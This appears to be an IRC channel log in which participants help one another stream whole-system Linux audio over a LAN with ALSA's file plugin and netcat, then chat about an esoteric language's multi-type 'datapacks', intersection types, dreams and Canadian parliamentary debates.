http://www.alsa-project.org/main/index.php/Matrix:Module-aloop < 1269563939 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You should be able to use that, and have your game use one end of it for output, and arecord on the other end for feeding netcat. < 1269563965 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://dev.inzenet.org/~panard/hack_record_hda_sound also has some example bits, though it looks awfully complicated and uncommented. < 1269564082 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's also borderline possible that the very simple "dummy" soundcard actually would support the capture-mixer thing. < 1269564098 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269564181 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it might just work. < 1269564207 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :At least it's got the exact same capture and playback controls. < 1269564226 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I could try playing something to the dummy soundcard and seeing if I can record it. < 1269564449 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Strange, it records noisy bursts of sound every 0.1 seconds, and silence for the most part. Heh, I wonder what's up with that. < 1269564602 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Apparently it just drops what's written and generates (mostly) zeroes out. < 1269564758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269564772 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : http://dev.inzenet.org/~panard/hack_record_hda_sound also has some example bits, though it looks awfully complicated and uncommented. < 1269564779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think it is intel hda < 1269564807 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Most motherboard-integrated things are, though even the actual HDA chipsets differ. < 1269564825 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes indeed they do < 1269564844 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't seem to have the mixer-recording thing on this box either, though I seem to recall there was. < 1269564877 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, the "aloop" "soundcard" should work (not enabled in my kernel config, though), and alsa's "file" plugin might work too. < 1269564919 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And also (assuming the card does full-duplex right) there's the ridiculously low-tech way of looping back the line out to line in. :p < 1269564964 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You could check out the file plugin reference at http://alsa-project.org/alsa-doc/alsa-lib/pcm_plugins.html (pretty far down on the list). < 1269564992 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It can even pipe directly into a shell command. < 1269565004 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That should have less latency than trying to involve recording with arecord. < 1269565256 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :See for example Audacity's docs about it, http://wiki.audacityteam.org/wiki/Recording_audio_playing_on_the_computer#Using_the_ALSA_PCM_file < 1269565284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269565339 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Actually there even seems to be a "file" device. < 1269565346 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"File device < 1269565347 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The file device is file plugin with null plugin as slave. The arguments (in order: FILE,FORMAT) specify filename and file format. < 1269565347 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Example: < 1269565347 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :file:'/tmp/out.raw',raw < 1269565347 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :" < 1269565445 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :mplayer -ao alsa:device="file='testfile.raw',raw" testfile.wav seems to do a sensible thing, at least based on file sizes. < 1269565472 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(That = there after "file" is just mplayer's stupidity, you have to write the : as a = so that it won't interpret it as a parameter change.) < 1269565475 0 :augur!~augur@c-68-55-204-123.hsd1.md.comcast.net JOIN :#esoteric < 1269565530 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :So in theory you should be able to just use file:'|/bin/nc -u server port',raw as the ALSA "device" specifier string for your game, without fiddling with any config files or anything. < 1269565559 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Of course then you'll need to specify sample rates and types and so on on the listening side. < 1269565562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well I wanted the whole system sound < 1269565568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not just a single game < 1269565580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :game was the primary example of programs in question < 1269565615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if the built in sound wasn't so bad, and if I had a suitable cable, I could just feed one computer's line out into the line-in on the next < 1269565619 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, then you can use the example given in http://wiki.audacityteam.org/wiki/Recording_audio_playing_on_the_computer#Using_the_ALSA_PCM_file as "set the teeraw device as your default device with something like". < 1269565636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269565652 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe the final example there as a full setup. < 1269565661 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It even has a command-piping thing. < 1269565688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269565714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :actually setting up jack on that ubuntu system might be *less* of a PITA XD < 1269565798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what would I use on the listening side then? same as the original? < 1269565823 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269565834 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well... I'm not really an ALSA expert, but if you use an .asoundrc as something like http://pastebin.com/NfALSAK8 -- with the format "wav" thing -- you should be able to use the original nc | aplay thing. < 1269565880 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That should catch anything that's written using ALSA to the "default" PCM device. It might not catch programs that use the OSS-dsp emulation thing. And it might not work at all. < 1269565893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, how does that interact with that pulseaudio is in use on that computer? < 1269565934 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I know even less about pulse, but I guess it uses alsa libs to interact with the underlying hardware, and therefore might work. < 1269565949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, it uses alsa to capture things then send it back to alsa < 1269565956 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :basically ALSA-directly-apps < 1269565957 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :end up < 1269565958 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like < 1269565969 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :->ALSA->pulse->ALSA < 1269566000 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It could get confused, I don't know. Pulse has that own networking thing too, but then you'd need pulseaudio also on the receiving side. < 1269566026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269566033 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Possibly it might be better to not set that "pipe-to-network" device as the default pcm one, but instead configure pulse to feed things into it. < 1269566038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and the receiving side uses jack/pure-ALSA < 1269566081 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm also a bit concerned about what the "netcat | aplay" will do on the receiving side if the sample rates on the sending side change. < 1269566091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ouch indeed < 1269566121 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Doing it fiddling like this is a bit awkwardly manual. If you seriously want all the sound, and keep it set up semi-permanently, I might go with the "just set up jack on Ubuntu too and use netjack" solution. < 1269566148 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, jack isn't really suitable for my laptop in *normal* use < 1269566181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, anyway I could use jack alongside pure alsa without problems on my desktop, it has hardware mixer < 1269566185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since it has an sb live < 1269566231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and yes this is semi-permanently as in, it will be used a lot but not all the time < 1269566259 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you configure jack to only have the into-network thing, no "actual" direct-sound use at all... well, I'm not sure how to make the rest of the system use that, then. < 1269566269 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think I'll need some sleep now. < 1269566323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269566328 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thanks for your help < 1269566527 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I wanted to have a setup like this for my laptop too, but (since it runs OS X most of the time) I finally gave up and just bought that USB digital-output sound-stick I mentioned, and connect it to the front panel inputs of the amplifier when necessary. (The alternative would've been to feed the digital audio over LAN to one of these Real Computers that are permanently hooked to the amplifier.) < 1269566542 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Networked audio seems to be a bit nontrivial. < 1269566547 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Away now for real, night.) < 1269566634 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :night < 1269568607 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269570502 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269571548 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269571667 0 :augur!~augur@mmount-193.umd.edu JOIN :#esoteric < 1269571975 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269572254 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1269572518 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269572548 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269573095 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269574654 0 :Asztal!unknown@unknown.invalid QUIT :Quit: . < 1269576924 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to think of a full version of his language that isn't overly influenced by Haskell
< 1269576935 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Antiskell. < 1269576947 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Every decision made by Haskell, it chooses the opposite. < 1269576969 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Unicode support? Nah, we're going for binary coded decimal EBDIC < 1269576998 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(yes, the EBDIC is encoded into decimal, which is then binary coded.) < 1269577018 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Strict typing? Nah. We're going for /dev/urandom typing. < 1269577042 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And every statement is implicitly wrapped in unsafePerformIO. < 1269577072 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269577080 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :did you catch my idea earlier? < 1269577090 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Except for the ones that are implicitly wrapped in unsafePerformIO . unsafeIntersperseIO . return < 1269577098 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Nah. < 1269577130 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :basically, rather than pure types, there's "datapacks" < 1269577169 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants Antiskell to become real
< 1269577186 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although obviously, it can't be a perfect opposite < 1269577216 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise, it would not be TC, and would not be able to do any IO, contrary to pikhq's earlier statements < 1269577222 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :upi < 1269577225 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, I think "opposite" is ill-defined < 1269577227 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :upi? < 1269577233 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you'd need an anticomputer for that. < 1269577271 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: There is no requirement for unsafePerformIO to do much. < 1269577335 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In fact, I suggest that all statements except for undefined be equivalent to bottom. < 1269577343 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1269577345 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Except in confusing circumstances. < 1269577359 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :my father needed to ask me a question < 1269577388 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can Antihaskell solve the halting problem? < 1269577392 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :anyway, instead of types, there's "datapacks". All UDTs are actually datapacks. < 1269577447 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: GHC can, so Antiskell cannot. < 1269577449 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a given value can possess any number of datapacks; the union of the packs it has could be said to represent its actual type. Some datapacks could require other datapacks to exist on the type (*coughinheritancecough*) < 1269577449 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269577458 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, wait what? < 1269577483 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Just a joke. Compile "main = main". ;) < 1269577513 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Too lazy to bother, I take it the compiler sees that somehow? < 1269577525 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION feels ignored
< 1269577552 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It results in an error. "infinite loop" or some such. < 1269577611 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ping < 1269577649 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GNIP < 1269577673 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :okay, so that's working < 1269577677 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Dangit < 1269577682 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to investigate other causes of not being listened to
< 1269577710 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The best thing to do when someone pings is to ignore that >.> [Ok, so I was being mean] < 1269577738 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So basically values have multiple types? < 1269577742 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269578605 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ugh, sorry, I got distracted again < 1269578657 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :There would also be "type patterns" which could be used to match against types; e.g. {Int~Nil} means "Int < 1269578666 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*means "Int or Nil, but not both" < 1269578674 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and would be the implementation of a nullable value < 1269578706 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1269578710 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Interesting < 1269578795 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :{Int|Nil} or {Int&Nil} could probably also exist (I may choose to add a way to make datapacks mutually exclusive), but, by convention, would be pretty useless < 1269578802 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Ideally type inference would drive a lot of the system < 1269578991 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :The real power, though, is in expressing reality better than most languages < 1269579036 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how you manipulate an Int+String
< 1269579050 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it would have both an int value and a string value independently < 1269579069 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1269579087 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :geek example: A Magic card has a type; each type has a list of allowable subtypes for that type < 1269579119 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a Magic card may have multiple types < 1269579158 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION misunderstood "Magic card" for a second
< 1269579182 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION points out "for a second" before coppro or anyone else elaborates about Magic
< 1269579192 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269579193 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1269579197 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I assume you understand now < 1269579217 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :私 見今 Oerjan ! < 1269579227 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so you'd express this by creating a datapack for each list of subtypes, and then add these to the card value. Since they aren't mutually exclusive, you can have as many as you like < 1269579232 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :正 今, too! < 1269579266 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i am not a friend of people who greet me with unicode < 1269579274 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hah. < 1269579282 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :今日, Oerjan. How are 前? < 1269579297 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it looks like question marks. < 1269579387 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh 本当? < 1269579429 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :any thoughts about my idea? < 1269579442 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, almost _no one_ here understands japanese. showing it off all the time is just annoying. < 1269579485 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(even if i could see it properly.) < 1269579508 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hrm. When was the last time I used code-points out of ASCII in this room, anyways? < 1269579520 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :2 minutes 2 seconds ago < 1269579531 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Before oerjan just entered. < 1269579539 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1269579547 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :last week I think? < 1269579575 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :please ping me with any comments you may have; it's webcomic time < 1269579648 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Also. Sorry. I've been cramming kanji for the past couple months. And for some reason, I felt like using kanji in English. I'm going to blame my lack of sleep for that... < 1269579676 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'll blame my current grumpiness, then :) < 1269579687 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*y? < 1269579780 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Now, for random characters: 亜sdtf日小田鵜fhgpqeかsfqwさkじょ９tqぁsづてょdヴい < 1269580143 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : in other words, a value can possess multiple types at once <-- they're called intersection types iirc. they were important for fundamental lambda calculus in a book i looked in (barendregt?) < 1269580203 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if he can use a cryonics article for his psychology assignmnet
< 1269580222 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you have intersection types + a special "catch-all" type omega, then you have a simple type system in which all normalizable lambda expressions can be typed, iirc < 1269580252 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :without omega, you need strongly normalizable, iirc < 1269580314 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh and omega can occur only on the left side of -> or something, so things don't get to use just it for trivial typing < 1269580436 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: thanks for the name < 1269580475 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm i think the types may even have been preserved under reduction, both ways < 1269580494 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't see much that looks like a useful language with them though < 1269580539 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: higher order functions, if you use a polymorphic function on two different types < 1269580598 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that's a special case < 1269580606 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :as in, doesn't apply to all types < 1269580635 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but they're probably not practical, type inference is probably impossible and forall types with type variables like in haskell/ML are more practical < 1269580697 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :most of what I see intersection types used for is type inference < 1269580724 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and what I'd be doing is more like type unionization < 1269580844 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269580852 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1269581606 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ? < 1269581751 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :! < 1269581760 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :[22:20:28] oh well < 1269581802 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that was intended as a "conversation over" mark :P < 1269581809 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269581846 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ugh, it's that time of night again < 1269581859 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh no, not the vampires < 1269581890 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :where I really should go to bed, but I don't < 1269581942 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :worse, I have an excuse < 1269581970 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the bed is haunted! < 1269581993 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Today's Hansard isn't out yet < 1269582055 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a principled follower of the british parliament, i take < 1269582092 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or would that be canada < 1269582173 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"In one instance, during a Liberal filibuster in the Canadian Senate, Senator Philippe Gigantès was accused of reading one of his books only so that he could get the translation for free through the Hansard." :D < 1269582256 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Canadian in this case < 1269582281 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's... Beautiful. < 1269582502 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269583587 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://xkcd.com/719/ I've never had any of these dreams :( < 1269583886 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I've had few dreams that I can actually recall. < 1269583891 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't have car dreams either. might have _something_ to do with the fact i don't drive :D < 1269583920 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok maybe an occasional dream as passenger < 1269583988 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait i _have_ dreamed about my teeth falling out D: < 1269584768 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269585494 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269586067 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269587655 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269588862 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"oerjan: pikhq, almost _no one_ here understands japanese. showing it off all the time is just annoying." <<< no it's not! < 1269588975 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269589010 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269589179 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :nowadays it's less common for me to roll all the time, what's more common is i jump or something and realize i'm not falling down, but just rising and rising hundreds of meters first < 1269589195 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in dreams < 1269589218 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I generally don't remember my dreams < 1269589222 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :also i become lucid quite often, but i still haven't mastered not waking up almost instantly after < 1269589244 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :all I can really remember is that they tend to be things I don't want to remember for one reason or another < 1269589254 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i usually manage to have sex with someone for a few seconds, but then it fades away < 1269589268 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :why wouldn't you want to remember something < 1269589295 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I think it's that I'm really good at getting into really awkward situations in dreams < 1269589299 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :can't quite remember < 1269589312 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh lol right < 1269589360 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Pretty sure it's not scariness though < 1269589424 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the few good dreams I ever remember are only even vaguely remembered because they're the ones I get woken up in the middle of < 1269589604 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah, finally, Hansard's out < 1269589610 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :then I can sleep < 1269589665 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yay hansard < 1269589690 0 :myndzi\!myndzi@tengototen.net JOIN :#esoteric < 1269589878 0 :myndzi!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269589957 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ooh, an MP quoted MacBeth < 1269590055 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269590399 0 :clog!unknown@unknown.invalid QUIT :ended < 1269590400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269590540 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :man, this trade agreement with Colombia is causing quite a stir... 30 hours of debate already < 1269590557 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :AFAICT it boils down to we should/shouldn't consort with the evils < 1269590567 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269590681 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :evil things are wrong < 1269590828 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the government says it hopes to encourage the Colombian government to clean up < 1269590833 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the whole debate is tl;dr < 1269590996 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah, I love this country < 1269590999 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :http://www.cbc.ca/canada/story/2010/03/25/prisoners-pensions025.html < 1269591021 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :25 life sentences and we still give him 13k a year < 1269592324 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269593509 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269594018 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269595466 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269596412 0 :MigoMipo!~3e779bfd@gateway/web/freenode/x-caqssswwcntsfsmo JOIN :#esoteric < 1269597182 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269597191 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269597207 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269597384 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: Page closed < 1269600436 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269601563 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269601625 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269602123 0 :Asztal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269602428 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269602451 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269607923 0 :Tritonio_GR!~Tritonio@213.249.12.32 JOIN :#esoteric < 1269608251 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269609217 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269609256 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269609762 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269611224 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269613407 0 :fax!~none@unaffiliated/fax JOIN :#esoteric 